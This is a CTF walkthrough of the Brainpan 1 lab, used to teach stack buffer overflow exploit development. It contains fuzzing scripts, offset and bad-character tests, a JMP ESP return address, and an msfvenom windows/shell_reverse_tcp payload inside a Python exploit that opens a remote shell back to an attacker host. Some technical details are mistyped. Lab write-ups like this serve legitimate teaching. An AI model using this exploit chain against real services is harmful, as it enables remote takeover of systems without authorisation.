Difficulty: Beginner/Intermediate
IP: 172.16.253.130 (arp-scan -I vmnet1 –localnet) If you were looking either for a walkthrough on the Brainpan 1 vulnhub CTF or for a tutorial/article to serve as an Introduction to exploit development you clicked on the right link.
Phase 1: Enumeration & Port Scan
The port scan on this host discloses two remotely accessible opened ports – 9999 which nmap is unable to enumerate through its fingerprint database although the scanner reports it as a possible abyss web server, and 10000 which is a web server set up through the SimpleHTTPServer python module.

# dirb http://172.16.253.130:10000/http://172.16.253.130:10000/bin Looking at the directory’s contents discloses a file named brainpan.exe Checking the application locally either using a simulated windows environment or wine shows that this application is most likely the web server daemon running on port 9999 on the target which nmap is not able to enumerate and reports as a possible abyss web server
Phase 2: Inspecting and Fuzzing brainpan.exe
The first step of debugging the application and trying to get the password of the brainpan.exe application is by reviewing its contents using a hex editor or to look for any ASCII strings in its binary code using the strings command:# strings brainpan.exe




The next step is to fuzz the application and see if a buffer overflow condition could be reached. This can be done by sending a long string (a string of an unexpected length of bytes which is usually not used to store a password). The application can be fuzzed either remotely using kali and connecting to the remote VM IP where the daemon is running or by installing python on the Windows 7 VM – I prefer the latter for accessibility) (or If you are using Kali as a host OS the virtualization software may not allow pasting the string directly into the guest VM) To generate a long string using python from the command line, the following command could be used:
python -c 'print "A"*1000'To generate a long string using python on Windows is slightly more complicated task as you’ll need to reverse the quotes and store it in a file and copy it from there to avoid the command prompt line wrapping:
python -c "print 'A'*1000' > string.txt

#!/usr/bin/python import time, socket # Create a string, fuzz from ilength (initial length) to tlength # (target length), with increments of 500 (increment). buffer="A" ilength=100 tlength=2000 increment=500 for x in range(increment,tlength,increment): print "Fuzzing with %s bytes" % x buffer = "A"*x print buffer s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.1.115',9999)) time.sleep(1) s.send(buffer + "\r\n"); s.close() x += incrementThe above script would just increment the string length by 200 each time, connect to the application and pass the string until the buffer overflow condition is reached Pasting 1000 bytes of “A”s reaches a buffer overflow condition in the program causing it to crash:

Phase 3: Debugging the application
To debug the application you would need a debugger like Immunity Debugger Fuzzing the application showed that we need about 1000 bytes to crash the application, thus the skeleton exploit becomes like this:import time, socket buffer = "A"*1000 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('127.0.0.1',9999)) time.sleep(1) s.send(buffer + "\r\n") s.close()Now to start debugging the vulnerable application run brainpan.exe, then open Immunity Debugger and click File > Attach. Then find the brainpan.exe application and click Attach to attach the debugger to its process:


Note how the application’s process states “Paused” at the bottom. You have to click on the Run program button at the top bar of Immunity Debugger or click F9 to run it. The state would then change to “Running”. Now run the fuzzer.py script that was created and the application would crash, showing the EIP register overwritten with 41414141, which is the hex code equivalent to 4 bytes of “A”, as sent in our buffer:


# python -c 'print 0x0022FB00 - 0x0022F930'

- Fuzzed the application with a buffer of 1000 bytes
- Located a space for our shellcode in the ESP register
- -> Find the exact offset where EIP is overwritten
- -> Find bad characters which may affect our payload and terminate its execution
- -> Find a return address an instruction that jumps to ESP (i.e. point the next instruction to reach an address located within the ESP register) and redirect the execution flow
- -> Generate a shellcode payload for the target platform (Windows/x86)
- -> Swap shellcode and test the exploit locally
- -> Run the exploit on the target machine (Brainpan)
Finding the exact offset
Finding the exact offset where ESP is overwritten can be easily done using the pattern_create.rb and pattern_locate.rb ruby scripts which are part of the metasploit framework. First, using the pattern_create.rb script a unique string is created, which is then swapped with the buffer being sent to the vulnerable application:
import time, socket
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.115',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()
Running the above code and checking the EIP register in Immunity Debugger shows that EIP gets overwritten with the value 35724134

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1000

buffer = "A"*524 + "B"*4 + "C" * (1000-524-4)The C’s at the end are added for consistency as it is preferable to keep a consistent payload length while building the exploit. Updating the exploit code with the above buffer shows that now EIP gets overwritten with the value of “42424242” which means the calculations were right:

Bad characters (Checking for and taking into account)
The bad characters are characters which have to be avoided when generating shellcode, or in other words characters which by any means would stop the execution flow of the application and terminate it, or terminate the payload being sent at an early stage prior to reaching its final stage. An example for a bad character is the null-terminator which terminates thes tring (00 in hex), and in this case the “enter” key which has a hex code equivalent of “2a”. The process of testing for bad characters consist of swapping the payload being sent to the vulnerable application with all the characters from the ASCII table (you can see a quick way on how to generate such a string in my cheatsheet) and then looking whether there are any characters missing from the register where the payload is stored (in this case ESP), or whether the buffer has been unexpectedly interrupted in memory. String to test for bad characters (excluding the null-byte terminator as it should always be avoided): (ASCII 1-255)\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xffLength: 255 As we already know that the \x00 and the \x0a characters have to be excluded they will be missing from the badchars string below. The python exploit code to test for bad characters becomes as following:
import time, socket badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" buffer = "A"*524 + "B"*4 + badchars + "C" * (1000-524-4-len(badchars)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('127.0.0.1',9999)) time.sleep(1) s.send(buffer + "\r\n") s.close()Running the above exploit code and following ESP in dump shows that all the characters from the payload are reflected in ESP:

- Fuzzed the application with a buffer of 1000 bytes
- Located a space for our shellcode in the ESP register
- Found the exact offset where EIP is overwritten
- Found bad characters which may affect our payload and terminate its execution
- -> Find a return address an instruction that jumps to ESP (i.e. point the next instruction to reach an address located within the ESP register) and redirect the execution flow
- -> Generate a shellcode payload for the target platform (Windows/x86)
- -> Swap shellcode and test the exploit locally
- -> Run the exploit on the target machine (Brainpan)
Finding a return address
As the buffer is located within the ESP register, we need an instruction that jumps to ESP like jmp esp. The opcode equivalent of this instruction is \xff\e4 – to convert an instruction to an opcode you could use the nasm_shell utility which is part of the metasploit framework:
!mona modulesAfter typing the above command in the Immunity Debugger console a list of modules that the application loads should be listed:

!mona find -s "\xff\xe4" -m brainpan.exe


import time, socket 2 buffer = "A"*524 + "\xf3\x12\x17\x31" + "C" * (1000-524-4) 3 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 4 connect=s.connect(('127.0.0.1',9999)) 5 time.sleep(1) 6 s.send(buffer + "\r\n") 7 s.close()Note that the bytes of the return address is written in a reverse order as the x86 architecture stores address in this way. To follow the execution flow, go to the address in Immunity Debugger and press F2 to set a breakpoint. Then press F9 to run the program and run the exploit code:


- Fuzzed the application with a buffer of 1000 bytes
- Located a space for our shellcode in the ESP register
- Found the exact offset where EIP is overwritten
- Found bad characters which may affect our payload and terminate its execution
- Found a return address
- What’s left to do?
- -> Generate a shellcode payload for the target platform (Windows/x86)
- -> Swap shellcode and test the exploit locally
- -> Run the exploit on the target machine (Brainpan)
Generating shellcode
Generating shellcode is something anyone reading this should know, so unnecessary details will not be described, however keep in mind that you have to exclude the bad characters found earlier:msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<local IP> LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a' -f pythonExploit code:
import time, socket
shellcode = ""
shellcode += "\xbe\xbf\xba\x1e\x84\xda\xc5\xd9\x74\x24\xf4\x5a\x2b"
shellcode += ... (omitted)
buffer = "A"*524 + "\xf3\x12\x17\x31" + "\x90"*8 + shellcode + "C"* (1000-524-4-8)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.115',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()
Note that a few NOP sleds (no-operation8 byte of NOPs are put prior to the shellcode payload to leave for it some space to decode itself. Otherwise, the payload would not execute.
To test the exploit code and make sure the execution flow reaches the shellcode generated by msfvenom, run the vulnerable application and Immunity Debugger, set a breakpoint at the return address and press F9 or hit run in Immunity Debugger, then run the exploit and press F8 in the debugger to step into the contents of the ESP register:


Phase 4: Exploiting the target machine
At this point all that’s left to do in order to run the exploit against the target is to change the IP in the exploit code to match the one on target, in my case 172.16.253.130 A few things to remember:-> In a local environment, especially when not using the bridged mode of the virtualization software you use, make sure the target host can reach the attacker’s IP which is used when generating the payload using msfvenom
-> In case the exploit is not successful, be sure to reset the VM as the buffer overflow results in a DoS condition as well making the service unavailable. You need to restart it in order to be able to run the exploit again.
-> In case you are still unable to get a shell on the attacker’s host you may run the exploit on the Windows 7 VM against the target brainpan 1 and debug it using Immunity Debugger. Make sure the execution flow reaches the return address and that the shellcode is being executed. (you may need to reboot the target VM several times in case you make any changes to the exploit)
-> In case you are rebooting the VM, wait for a minute before trying to exploit, and make sure to test it using nc. In my case it required at least half a minute for the daemon to fire up and be available.
-> The time.sleep(1) function is needed for the payload to be sent to the server. If you have removed it and you do not know what you are actually doing – put it back, It is there for a reason. You could also remove it and try putting s.recv(1024), or increase the delay with a few more seconds.
